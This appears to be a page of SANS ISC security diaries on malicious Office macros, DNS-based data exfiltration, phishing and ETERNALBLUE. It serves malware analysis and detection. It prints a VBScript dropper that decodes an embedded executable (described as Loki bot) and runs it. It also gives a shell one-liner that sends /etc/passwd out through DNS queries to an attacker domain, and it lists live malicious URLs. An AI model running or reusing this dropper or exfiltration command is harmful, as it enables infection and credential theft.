data=“895C241833C333442334424403344244424148Bd8c1e802c1e31e0bd88b348BE803C0C1ED1F0BE88B442414896C24408BE8C1E005C1ED41C036C243803C58B5CH4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F00000000E1FBA0E00B409CD21B8014CCD21546869732070726f6772616d2063616e6e6f742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000cccd78fe88ac16ad88ac16ad88AC16AD81D495AD89AC16AD4BA34BAD8AAC16AD8DA019AD89AC16AD3D32F3AD8BAC16AD88AC16AD8cac16ad81d483ad89ac16ad88ac17adc7ac16ad81d485ad99ac16ad3d32f7adf3ac16ad3d32c8ad89AC16AD5269636888AC16AD0000000000000000504500004C01040085086C570000000000000000E00003010B010C000038010000A2080000000000de39010000100000005001000000400000100000000200000500010000000000050001000000000000200A000004000000000000020000800000100000100000000010000010000000000000100000000000000000000000D08E0100640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005001005c0000000000000000000000000000000000000000000000000000002E74657874000000F5360100001000000038010000040000000000000000000000000000200000602e72646174610000604000000050010000420000003c0100000000000000000000000000400000402e64617461000000245e080000A0010000020000007E0100000000000000000000000000400000c02e780000000000000020000000000A000020000000800100000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008b44240483f8027d08b864000000c2040083F8047D08B802000000C2040083F8087D08B804000000c2040083f8107d08b806000000c2040083F8207D08B808000000C2040083F8407D08B80A000000C204003D800000007D08B80C000000C204003D000100007D08B80E000000C204003D000200007d08b810000000c204003d000
…0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000”
data=split(data,"H")(1)
sub saveFile(fName,str)
dim temp
set xmldoc = CreateObject("Microsoft.XMLDOM”)
xmldoc.loadXml "<?xml version=""1.0""?>”
set pic = xmldoc.createElement("pic”)
pic.dataType = “bin.hex"
pic.nodeTypedValue = str
temp = pic.nodeTypedValue
with CreateObject("ADODB.Stream”)
.type = 1
.open
.write temp
.saveToFile fName, 2
.close
end with
end sub
set ws = CreateObject("WScript.Shell”)
fn = ws.ExpandEnvironmentStrings("%temp%") & "\tmp.exe”
saveFile fn,data
ws.Run fn
wscript.sleep 100
The key is to split the string “data” with the character “H” and use the second element. After the “H”, you can see the following characters “0x4D 0x5A” which indicates the beginning of the malicious payload (“MZ”). The string is decoded and dumped into %temp%\tmp.exe.
viper Invoice_6083.exe > info +----------+---------------------------------------------------------------------------------------+ | Key | Value | +----------+---------------------------------------------------------------------------------------+ | Name | tmp.exe | | Tags | isc | | Path | /home/nonroot/.viper/binaries/d/c/c/4/dcc4dbf28fd741e5bcaf0877f112f8b1ecaa5d430990437 | | | 3ea32800cf7a94f70 | | Size | 106497 | | Type | PE32 executable (GUI) Intel 80386, for MS Windows | | Mime | application/x-dosexec | | MD5 | e846b3153f2de0a21eafbe9782c36c49 | | SHA1 | b7872ce0e4e80c608a85130cd316cfc2cab74886 | | SHA256 | dcc4dbf28fd741e5bcaf0877f112f8b1ecaa5d4309904373ea32800cf7a94f70 | | SHA512 | e7d268242a74b062667caaeb7064f3f91892c51d1386e7eb0aa62c1d9ad10bf2a2a6aa03208d3862603a2 | | | ecce54702886a1f8ef2ac34231591c3cfc9a4ab91f3 | | SSdeep | 1536:czvQSZpGS4/31A6mQgL2eYCGDwRcMkVQd8YhY0/EqfIzmdg:nSHIG6mQwGmfOQd8YhY0/EqUGg | | CRC32 | 8E935025 | | Parent | | | Children | | +----------+---------------------------------------------------------------------------------------+
The file was unknown on VT:
viper Invoice_6083.exe > virustotal -v [*] VirusTotal message: The requested resource is not among the finished, queued or pending scans
Here is quick analyse of the PE file:
It communicates with hxxp://account-verification.s3rv.me/vvv/Panel/five/fre.php (It’s a Loki bot. It is known to steal logins from many applications and Bitcoin wallets from the infected computer).
To resume, the malicious document:
- Does not automatically execute the malicious macro but ask the victim to execute it
- Contains multiple layers of obfuscation
- Drops a payload which is not downloaded from the wild Internet but stored (encoded) in the macro.
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
1 Comments
DNS Query Length... Because Size Does Matter
In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass security controls. DNS tunnelling is a common way to establish connections with remote systems. It is often based on "TXT" records used to deliver the encoded payload. "TXT" records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.
Instead of using TXT records, data exfiltration may occur directly via the FQDN ("Fully Qualified Domain Name"). The RFC 1035[1] states that a DNS query length is 255 characters total with each subdomain being 63 characters or less. By using Base32 encoding[2], we can encode our data in strings compatible with the DNS requirements: "A-Z", "0-9" and "-". It is easy to exfiltrate a file with the following shell command. We encode our juicy file (/etc/passwd in this example) and generate DNS request to a domain controlled by the attacker:
$ cat /etc/passwd | base32 -w 63 | while read L do dig $L.data.rootshell.be @192.168.254.8 done
Note: the parameter '-w 63' prevent the encoding process from breaking the RFC. On the DNS side, here is what we get:
$ grep 'data.rootshell.be' queries.log 20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8) ...
To decode this on the attacker's host, use the following command:
$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...
We don't need full access to the DNS server. If we have access to the network, we just have to sniff some traffic:
# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
...
As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularly the query length. The following graph is generated from the DNS logs processed by a Splunk instance. It is helpful to see the distribution of query length across the network:
But, as usual, not all big DNS queries are suspicious. Some CDN's are using queries to identify files. Example:
hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf
To reduce the risk of false positives, this control can be combined with others:
- The volume of traffic per IP
- The volume of traffic per (sub-)domain
- White-lists
This technique is not new but comes back regularly in front of the stage. The malware 'Wekby'[3] discovered in 2016 was already using this technique for C2 communications.
[1] https://www.ietf.org/rfc/rfc1035.txt
[2] https://en.wikipedia.org/wiki/Base32
[3] http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
5 Comments
Hunting for Malicious Excel Sheets
Recently, I found a malicious Excel sheet which contained a VBA macro. One particularity of this file was that useful information was stored in cells. The VBA macro read and used them to download the malicious PE file. The Excel file looked classic, asking the user to enable macros:
But below, around the 1000th row, some cells were hidden:
Once expanded, they revealed interesting values:
The macro code used the contain of those cells:
yryrysdhahshdfkjfkslksdlkfllskjdflkjsdflslksdjkf = kjjhkhdskhsdhsdjvjsdffdjgjgsjdfsjdf(0, Sheets(1).Cells(1000, 2), "C:\Temp\" & Sheets(1).Cells(1001, 2)), 0, 0) kjhadkjhfkasjhdkfjhakjhfkasjhdf = Sheets(1).Cells(1004, 2)sdlkjfgksjdfkjhdkjfgkjsfdhjghjdfgwscript = Sheets(1).Cells(1003, 2) kjfdkkjgnknngndg = Sheets(1).Cells(1002, 2)
The rest of the macro was, as usual, to download the malicious PE file, to store it on the disk and to execute it. The PE file has a VT score of 10/60 [1]
This is not the first time that I saw this way of passing data to the macro. It’s easy to configure campaigns with many URLs and samples without touching the macro. I had a bunch of 400 malicious Excel sheets to inspect. To search for such hidden content, I wrote a quick Python script[2] based on the XLRD[3] module. Yes, Python has third-party modules for almost any task! The goal is to detect two techniques to hide data:
- Hidden cells
- Cells using the same colour for the text & background (ex: white on white to make it unreadable)
Here is an example based on the XLS sheet analysed above:
$ ./hidden.py 1.xls|more Number of sheets: 3 --- Processing sheet 0 (????1) --- [ 5/ 8] 'Document created in earlier version of Microsoft Office Excel' [ 7/ 8] 'To view this content, please click "Enable Editing" form the yellow bar and then click "Enable Content"' [ 999/ 0] [H] 'Url' [ 999/ 1] [H] 'http://astrasunxc.top/read.php?f=chrome_update.exe' [ 1000/ 0] [H] 'Name_file' [ 1000/ 1] [H] 'myfile.exe' [ 1001/ 1] [H] 'cript' [ 1002/ 1] [H] '.Shell' [ 1003/ 1] [H] 'ws' --- Processing sheet 1 (????2) --- [ 0/ 0] 'Company Name' [ 0/ 4] 'INVOICE' [ 1/ 0] '[Street Address]' [ 2/ 0] '[City, ST ZIP]' [ 3/ 0] 'Phone: [000-000-0000]' [ 4/ 0] 'Fax: [000-000-0000]' [ 8/ 0] 'BILL TO' [ 9/ 0] '[Name]' [ 10/ 0] '[Company Name]' [ 11/ 0] '[Street Address]' [ 12/ 0] '[City, ST ZIP]' [ 13/ 0] '[Phone]' [ 15/ 0] 'DESCRIPTION' [ 15/ 4] ‘TAXED' [ 15/ 5] 'AMOUNT' [ 16/ 0] '[Service Fee]' [ 16/ 5] '230.0' [ 17/ 0] '[Labor: 5 hours at $75/hr]' [ 17/ 5] '375.0' [ 18/ 0] '[Parts]' [ 18/ 4] 'X' [ 18/ 5] '345.0' [ 23/ 3] '[42]' [ 23/ 4] 'Subtotal' [ 23/ 5] '950.0' [ 24/ 4] 'Taxable' [ 24/ 5] '345.0' [ 25/ 0] 'OTHER COMMENTS' [ 25/ 4] 'Tax rate' [ 25/ 5] '0.0625' [ 26/ 0] '1. Total payment due in 30 days' [ 26/ 4] 'Tax due' [ 26/ 5] '21.56' [ 27/ 0] '2. Please include the invoice number on your check' [ 27/ 4] 'Other' [ 28/ 4] 'TOTAL' [ 28/ 5] '971.56' [ 30/ 4] 'Make all checks payable to’ [ 31/ 4] '[Your Company Name]' --- Processing sheet 2 (????3) ---
A lighter output (use the -q/—quiet argument):
$ ./hidden.py -q 1.xls Number of sheets: 3 --- Processing sheet 0 (????1) --- [ 999/ 0] [H] 'Url' [ 999/ 1] [H] 'http://astrasunxc.top/read.php?f=chrome_update.exe' [ 1000/ 0] [H] 'Name_file' [ 1000/ 1] [H] 'myfile.exe' [ 1001/ 1] [H] 'cript' [ 1002/ 1] [H] '.Shell' [ 1003/ 1] [H] 'ws' --- Processing sheet 1 (????2) --- --- Processing sheet 2 (????3) ---
I scanned the 400 samples and found another one which looked interesting. Some cells contained the following value:
77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,240,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32, 98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,0,0,0,0,0,0,240,105,109,3,180,8,3,80,180,8,3,80, 180,8,3,80,147,206,120,80,183,8,3,80,180,8,2,80,189,8,3,80,147,206,126,80,176,8,3,80,147,206,110,80,190,8,3,80,147,206,121,80,181, 8,3,80,147,206,127,80,181,8,3,80,147,206,123,80,181,8,3,80,82,105,99,104,180,8,3,80,82,105,99,104,51,0,145,193,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,80,69,0,0,76,1,4,0,21,150,213,85,0,0,0,0,0,0,0,0,224,0,3,1,11,1,0,1,0,64,1,0,0,192,0,0,0,0,0,0,80,169, 0,0,0,16,0,0,0,80,1,0,0,0,64,0,0,16,0,0,0,16,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,176,2,0,0,16,0,0,0,0,0,0,2,0,0,128,0,0,16,0,0, 16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,176,208,1,0,70,0,0,0,244,194,1,0,44,1,0,0,0,16,2,0,52,152,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,136,194,1,0,64,0,0,0,0,0,0,0,0,0,0,0,0,80,1, 0,168,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,46,116,101,120,116,0,0,0,110,63,1,0,0,16,0,0,0,64,1,0,0,16,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,33,0,0,96,46,114,100,97,116,97,0,0,246,128,0,0,0,80,1,0,0,144,0,0,0,80,1,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,100, 97,116,97,0,0,0,196,34,0,0,0,224,1,0,0,16,0,0,0,224,1,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192,46,114,115,114,99, ...
As you can see, it starts with ’77’ and ’90 which are the ASCII representation of the letters 'MZ'. This is a PE file dump. It can be easily decoded in a few lines of Python:
f = open(‘sample.exe’, ‘wb')
buffer = ’77,90,144, ….’
for c in buffer.split(‘,’):
f.write(chr(int(c)))
f.close()
I also converted the standalone script into a Viper module[4]:
viper > find name 1.xls +---+-------+--------------------------+----------------------------------+------------------------+ | # | Name | Mime | MD5 | Tags | +---+-------+--------------------------+----------------------------------+------------------------+ | 1 | 1.xls | application/vnd.ms-excel | e6190b79db7b32e9a34bc4ee473209c8 | spam, embedded_win_api | +---+-------+--------------------------+----------------------------------+------------------------+ viper > open -l 1 [*] Session opened on /home/nonroot/.viper/binaries/5/2/c/f/52cf6415c7763bede4af3cfc6543a4557d6ff5cb9fd02b5ed239352f005a8c39 viper 1.xls > excel [*] Sheet 0 +------+-----+--------+---------------------------------------------------------------------------------------------------------+ | Row | Col | Status | Value | +------+-----+--------+---------------------------------------------------------------------------------------------------------+ | 5 | 8 | | Document created in earlier version of Microsoft Office Excel | | 7 | 8 | | To view this content, please click "Enable Editing" form the yellow bar and then click "Enable Content" | | 999 | 0 | Hidden | Url | | 999 | 1 | Hidden | http://astrasunxc.top/read.php?f=chrome_update.exe | | 1000 | 0 | Hidden | Name_file | | 1000 | 1 | Hidden | myfile.exe | | 1001 | 1 | Hidden | cript | | 1002 | 1 | Hidden | .Shell | | 1003 | 1 | Hidden | ws | +------+-----+--------+---------------------------------------------------------------------------------------------------------+ [*] Sheet 1 +-----+-----+--------+----------------------------------------------------+ | Row | Col | Status | Value | +-----+-----+--------+----------------------------------------------------+ ...
As you can see, bad guys also use data stored in the document itself and access it from the VBA code. I also saw a few times white text on white background in Word documents. Happy hunting!
[1] https://www.virustotal.com/file/3626729fe8a77f74f4f6da58d5fb474d9c774dff3494063c5f8b4fc50f908585/analysis/1491843226/
[2] https://github.com/xme/toolbox/blob/master/xls_hidden.py
[3] https://github.com/python-excel/xlrd
[4] https://github.com/xme/toolbox/blob/master/excel.py
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
0 Comments
Yet Another Apple Phish and Some DNS Lessons Learned From It
Our reader Charlie forwarded us a somewhat interesting Apple phish. Apple is a big phishing target, and the phish itself wasn't all that special. It does a reasonable good job emulating real Apple e-mails, but what is more interesting are the "From" address and the URL of the link:
The "From" address was set to apple.ssl.com . For the uninitiated, this may look like a valid Apple domain. But instead, it is a subdomain of "ssl.com". SSL.com is of course not the valid source of the e-mail. But why did this e-mail make it past SPF filters? ssl.com does define an SPF record:
v=spf1 ip4:144.76.245.218 ip4:199.102.137.146 include:amazonses.com include:mailanyone.net include:fusemail.net ~all
The record contains a common error: In the end, the "~" ahead of "all" indicates a "soft fail". In essence, this may short-out the SPF definition. There is also no DMARC record for this domain. The "~" is often added to prevent false positives, for example, if companies are afraid that they didn't capture all the mail servers sending e-mail on their behalf. While this may be a good idea initially, it should be removed later.
Next, the link leads to apple1-id.com. The domain is not associated with Apple. The web page is still up (but blocklisted), and provides a good copy of the genuine Apple login page.
Interesting about this domain: It was registered back in January. So the bad guy put some work into this to avoid some "recently registered domain" filters.
So lessons learned:
- Make sure your SPF record ends with -all not ~all (subtle but important)
- When hunting for bad domains, details matter and the registration date may not be enough to find malicious domains.
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|
6 Comments
Detecting SMB Covert Channel ("Double Pulsar")
With Friday's release of additional Shadowbroker tools, a lot of attention was spent on exploits with names like "Eternalblue", which exploited only recently patched vulnerabilities. Another item of interest however, is the command and control channel used to communicate with systems post exploitation.
One covert channel, "double pulsar", is designed to particular for systems that are vulnerable to Eternalblue. The covert channel uses SMB features that have so far been not used, in particular, the "Trans2" feature. Trans2 is short for "Transaction 2 Subcommand Extension", and its use can be seen as part of the exploit packet capture I posted in our earlier diary.
In packet 13 of the pcap, the system running the exploit sends a "trans2 SESSION_SETUP" request to the victim. This happens before the actual exploit is sent. The intent of this request is to check if the system is already compromised. Infected or not, the system will respond with a "Not Implemented" message. But as part of the message, a "Multiplex ID" is returned that is 65 (0x41) for normal systems and 81 (0x51) for infected systems. If a system is infected, then SMB can be used as a covert channel to exfiltrate data or launch remote commands.
Countercept released a python script that can be used to scan systems for the presence of this backdoor. See https://github.com/countercept/doublepulsar-detection-script .
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|
0 Comments
Tool to Detect Active Phishing Attacks Using Unicode Look-Alike Domains
[This is a guest diary contributed by Remco Verhoef. If you would like to contribute a guest post, please let us know via our contact page]
Currently there is a campaign going on where phishing attacks will use domains that look exactly like safe domains by using Punycode domains. (https://www.wordfence.com/blog/2017/04/chrome-firefox-unicode-phishing/)
This is called a homograph attack. The Punycode domains will start with xn-- prefix and browsers will show the decoded Unicode domain name in the address bar where the Unicode characters (homographs) used appears like the original characters.
I wrote a program to look for similar characters within a font, comparing exact matches of glyphs. Outputting the table below. It shows the (ASCII) character with the homograph(s). Each font could have different homographs. For Phishing campaigns not only homograph domains could be used, but also the glyphs with small changes. Besides the program to built the table, I’ve created a program that will verify domains to see if they will have a (visually) exact match with a safe domain. Both programs are currently not open source, but will upon request.
When using for example URL (courtesy of Xudong Zheng) https://www.xn--80ak6aa92e.com/, you’ll see (in Firefox and Chrome) in your address bar https://www.apple.com/.
It is possible to request SSL certificates (using e.g., Let’s Encrypt) with Punycode domain names, making this attack even more dangerous. The address bar will appear secure and contain the safe domain name. Impossible to recognize the difference.
We’ve found the following safe domain alternatives. These are probably tip of the iceberg. These domains are exact counterparts of the safe domains. Some companies register a lot of the homograph domains themselves. Google for example, but it seems they forgot a few.
|
Punycode domain |
Unicode domain |
Safe domain |
Registrar safe domain |
Registrar homograph domain |
|
CI Investments Inc. |
Privacy Protection |
|||
|
google.com |
|
Proxy Protection LLC |
||
|
googie.com |
|
WHOISGUARD PROTECTED |
||
|
instagram.com |
Instagram, LLC |
WHOISGUARD PROTECTED |
||
|
telegram.com |
Gatehouse Media, LLC |
Shield Digital Security Group |
||
|
whatsapp.com |
Whatsapp Inc. |
Rafael Fernández López (private) |
||
|
youtube.com |
MARKMONITOR INC. |
Anna Potepa (private) |
||
|
apple.com |
CSC CORPORATE DOMAINS, INC. |
Contact Privacy Inc. Customer 1241053230 |
||
|
ci.com |
CI Investments Inc. |
Privacy Protection |
Firefox, Chrome, and Opera browsers are vulnerable to the homograph attack, whereas the latest Chrome will contain a fix for this issue. Within Firefox the support for Punycode can be disabled by navigating to about:config and disabling “network.IDN_show_punycode”.
Resources:
https://www.wordfence.com/blog/2017/04/chrome-firefox-unicode-phishing/
https://en.wikipedia.org/wiki/IDN_homograph_attack
https://www.xudongz.com/blog/2017/idn-phishing/
https://isc.sans.edu/forums/diary/This+Article+is+Brought+to+You+By+the+Letter+12494/20319
9 Comments
ETERNALBLUE: Windows SMBv1 Exploit (Patched)
Microsoft released a blog post outlining which patches address which vulnerability exploited by various "Shadowbroker" exploits. According to the table released by Microsoft, "ETERNALBLUE" was fixed by MS17-010 released in March. Interestingly, MS17-010 listed all vulnerabilities as "not used in exploits". Microsofts acknowledgement page does not list a source for the vulnerability disclosure.
We decided to keep our "Infocon" at Green in light fo the availability of a patch.
To protect yourself from this exploit, you can also disable SMBv1 (see this KB article by Microsoft about details), and make sure you are blocking port 445.
A snort rule for ETERNALBLUE was released by Cisco as part of the "registered" rules set. Check for SID 41978.
-----
Shadowbroker, as part of the set of exploits it collected and had offered for auction, today released a number of Windows-related exploits. One that looks in particular interesting as it promises an exploit via SMB for Windows hosts up to Windows 8 and Windows Server 2012, was published under the name "ETERNALBLUE".
Right now, I haven't been able to make it fully work yet, but I was able to collect some packets to a Windows 7 system. The exploit makes by default three attempts to attack a system. An XML file accompanying the exploit allows the attacker to configure various parameters.
In general, an SMB exploit *should* not be all that exciting these days, as blocking port 445 is standard best practice. I am attaching a link to a packet capture below to allow you to analyze it further. In the packet capture, the vulnerable hosts IP address is 10.128.0.243.
After repeated attempts, the Windows 7 host crashed.
pcap: https://isc.sans.edu/diaryimages/eternalblue.pcap
---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|
9 Comments
Packet Captures Filtered by Process
Already you're thinking, did I read that right? The answer is nope, you absolutely can capture by Windows Process, just not with Windump or Wireshark. A while back I wrote a short diary about using NETSH to capture packets ( https://isc.sans.edu/diary/19409 ), and this story builds on that one.
A quick recap - to capture packets using NETSH, for a basic capture you'd do something like:
netsh trace start capture=yes tracefile=c:\temp\trace.etl
Then to stop the capture, execute:
netsh trace stop
Before we proceed, get the process details for the app you are trying to track. Some thing as simple as:
tasklist > tasklist.out
will give you the list of windows processes and the process numbers.
You can get much more detail from sysinternals tools like Process Monitor, or better yet, Process Explorer. In this screenshot (from Process Explorer) we see that Citrix Receiver client actually is 5 running processes at the moment on my machine.
And Cisco AnyConnect has 2 (vpnui and vpnagent)
In this case I'm chasing the packets from Cisco's AnyConnect VPN client. In the Process Explorer screeshot above, the associated processes are mixed in with those from the legacy IPSEC VPN client. This is easy enough to filter out in Wireshark if you know what the process does, but what you are looking for in a lot of cases is what *else the process is doing?" Is it phoning home for updates? Is it phoning home to share information that you don't want shared? For a VPN client you know what you are connecting to (so that part is easy to filter if you were using Wireshark), but what else is it doing?
On to analyzing the captured data by application or process. Instead of exporting the whole works to pcap format, open the NETSH output in Microsoft Message Analyzer, Microsoft's awesome succesor to the venerable NETMON that many of us have used over the years.
The right had pane looks pretty familiar, complete with a "network tuple" style filter at the top. The left hand pane however is where we're looking today. That's what I call the "filter by other stuff" window. Let's trim the criteria down to the Process Name and Process ID (or you could just pick one or the other, it comes to the same thing since each process name has a unique process number).
Now, pick the target application, and the associated messages will appear in the right hand pane. Wait, messages? Yes, what you'll see in the right hand pane is a mix of packets in and out of the application, as well as the Windows Events that are generated by the application - bet you weren't expecting that?
If you click on a message, you'll see associated message details:
You see in the screenshot below that each packet is broken up heirarchally like you'd expect - my VPN traffic is fully represented, right down to the 802.11 wireless frames that are associated with the application. In OSI speak, as you click on each "layer" in the packet or frame, you'll see the detail in the window directly below.
And as you'd expect, clicking any of the "layers" above gives you more details:
Want to export to pcap format? You can write a filter for the display window, or simply highlight a number of records, then choose File / Save As / Export. I found that it was pretty easy to confuse the export process - a few null content files got me past this, it does work nicely. Just don't expect Wireshark to consume the Windows Event data.
Then simply open the resulting CAP file in Wireshark or whatever "analyze the pcap" tool or script you need to continue your analysis (the traffic shown here is idle traffic routing through the tunnel):
This is a very basic example - I'm just starting with Message Analyzer. There seems to be no end to how deep you can dig into the data with this tool though, and the interface is pretty straightforward - call me crazy, but for some things I might end up preferring it over Wireshark! Though my CLI bias is still firmly in place - TCPDump and other CLI/scripting tools are still my solid go-to once there's more than a few thousand packets.
Next chance I get I'm digging into how PowerShell can be used to work some automation goodness into this process. More on this here:
https://technet.microsoft.com/en-us/library/dn456518(v=wps.630).aspx
https://blogs.technet.microsoft.com/messageanalyzer/2013/10/29/using-powershell-to-automate-tracing/
Lots of MS Message Analyzer tid-bits can be found at: https://blogs.technet.microsoft.com/messageanalyzer
Have you done something way cool with Message Analyzer? Please, share using our comment form!
===============
Rob VandenBrink
Compugen
1 Comments
Malspam on 2017-04-11 pushes yet another ransomware variant
Introduction
I ran across some interesting malicious spam (malspam) on Tuesday morning 2017-04-11. At first, I thought it had limited distribution. Later I found several other examples, and they were distributing yet another ransomware variant. I personally haven't run across this paricular ransomware until now.
The ransomware is very aware of its environment, and I had use a physical Windows host to see the infection activity. This diary examines the malspam and its associated ransomware.
Shown above: Chain of events for an infection from this malspam.
The emails
I collected 14 samples of the malspam on Tuesday 2017-04-11. It started as early as 14:12 UTC and continued through at least 17:03 UTC. Each email had a different subject line, a different sender, different message text, and a different link to click.
Shown above: An example of the malspam.
Senders:
- "USPS Ground" <lrnvaoy1467488@breakawaydistributing.com>
- "USPS Station Management" <oh53@fullertonautoservice.com>
- "USPS Priority" <jzj8127@holdintogold.com>
- "USPS Ground" <ritimyza607@rcn.cl>
- "USPS International" <n6784@atkinsonlandleveling.com>
- "USPS Ground" <osy7@brucezone.com>
- "USPS Priority Delivery" <w45@hhydro.com>
- "USPS Ground" <qucup08565428@rodarmex.com>
- "USPS SameDay" <ik844547@sheldons.com>
- "USPS Priority" <aohmiid6332@zvizdez.ru>
- "USPS Ground" <cjl66732@remiolofa.com>
- "USPS Ground" <pyasuj51@pffindia.com>
- "USPS Express Delivery" <utujim74880307@flyjetpool.com>
- "USPS Ground" <dip023221@mycanadore.ca>
Subject lines:
- Delivery problem, parcel USPS #07681136
- Delivery problem, parcel USPS #766268001
- Delivery problem, parcel USPS #886315525
- New status of your USPS delivery code: 74206300
- New status of your USPS delivery code: 573677337
- New status of your USPS delivery code: 615510620
- Our USPS courier can not contact you parcel # 754277860
- Please recheck your delivery address USPS parcel 67537460
- Please recheck your delivery address USPS parcel 045078181
- Re:
- Status of your USPS delivery ID: 45841802
- We have delivery problems with your parcel # 30028433
- We have delivery problems with your parcel # 48853542
- We have delivery problems with your parcel # 460730503
The traffic
The following links were in the emails. All are subdomains of ideliverys.com on 47.91.88.133 port 80. The domain ideliverys.com was registered the day before on Monday 2017-04-10.
- uspsbiluwzxb48370.ideliverys.com - GET /u844
- uspsecjyuqke13584571.ideliverys.com - GET /tiyau72
- uspsnhes06611040.ideliverys.com - GET /p41733
- uspsoefi471.ideliverys.com - GET /zjhyi265
- uspsreoyohme58288.ideliverys.com - GET /yxot3007
